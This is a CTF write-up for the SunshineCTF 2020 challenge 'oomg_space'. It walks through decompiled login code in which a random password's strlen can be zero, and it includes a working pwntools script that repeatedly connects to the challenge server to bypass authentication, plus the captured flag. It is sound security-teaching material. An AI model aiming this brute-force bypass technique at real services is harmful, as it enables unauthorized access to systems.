Tags: strlen unintended 

Rating:

# oomg_space [350]

The Sunshine Space Center has posted a bug bounty program! Anyone who can bypass the login screen will be rewarded with an all-expenses-paid one-way trip to Mars!

`nc chal.2020.sunshinectf.org 20001`

**Files**: `oomg_space`

In this writeup, I'll be using the unintended solution (that the challenge authors later patched with a new challenge).

## Solution

This is the part of the code you need to care about:

```c
char random_49_bytes[50];
bool compare_password(char *rand, char *pass, size_t len) {
/* code to compare the first `len` bytes of `rand` with `pass` */
}
void puts_no_newline(char *s) { /* code to print a string without adding a newline */ }
void show_flag() { /* code to print the flag */ }

char *init_random_bytes() {
unsigned int urand = open("/dev/urandom", 0);
read(urand, random_49_bytes, 49);
close(urand);
random_49_bytes[49] = 0;
return random_49_bytes;
}

bool login() {
char username[16]; // [rsp-28h] [rbp-28h]
puts_no_newline("USER\n");
memset(username, 0, 16); // internally this is just MOVs
read(0, username, 16);
if (strcmp(username, "admin")) {
puts_no_newline("BAD USER ");
puts_no_newline(username); // Note that this allows us to leak the location of random_49_bytes
puts_no_newline("\n");
return 0;
}
puts_no_newline("PASSWORD\n");
long long passwd_len = 0;
read(0, &passwd_len, 8);
passwd_len = byteswapped(passwd_len);
char *passwd = (char *)malloc_(passwd_len + 1LL); //note that 0xffffffffffffffff+1 == 0
read(0, passwd, passwd_len);
passwd[passwd_len] = 0;
if (compare_passwd(random_49_bytes, passwd, strlen(random_49_bytes))) {
puts_no_newline("LOGIN FAIL\n");
exit(1);
}
puts_no_newline("LOGIN SUCCESS\n");
return 1;
}

int main() {
init_random_bytes();
puts_no_newline("HELLO\n");
puts_no_newline("SERVER sunshine.space.center.local\n");
int password_tries_remaining = 3;
while (password_tries_remaining-- > 0) {
if (login()) {
show_flag();
usleep(100000);
return 0;
}
puts_no_newline("AGAIN\n");
}
puts_no_newline("LOCKOUT\n");
}
```
The goal is to pass the password check in `login()` in order to get the flag printed. This is done by a one-shot string comparsion between a user-inputted password against 49 bytes of output from /dev/urandom.

`strlen()` is used to get the length of `random_49_bytes`. If `strlen(random_49_bytes)` happens to be 0, the check with `compare_passwd` will be immediately bypassed. Since `/dev/urandom` can provide null bytes (with a 1/256 probability), we'll just dig at the server until we're lucky enough to land in that situation.

```python
from pwn import *
context.binary = 'oomg_space'
for i in range(1000): #Because there is a 1/256 chance that /urandom gives a 0 first byte, this can work
p = remote('chal.2020.sunshinectf.org', 20001)
p.sendafter('USER\n', 'admin')
p.sendafter('PASSWORD\n', pack((1<<64)-1)) # Just use any number that won't crash.
print(p.recvall())
```
```sh
$ python3.8 oomg_space.py > a.log
$ grep sun{ a.log
b'LOGIN SUCCESS\nFLAG sun{g0tt4_ch3ck_th053_r37urn_c0d35}\n'
```

It's that simple.

Original writeup (https://github.com/IRS-Cybersec/ctfdump/blob/master/SunshineCTF2020/oomg_space.md).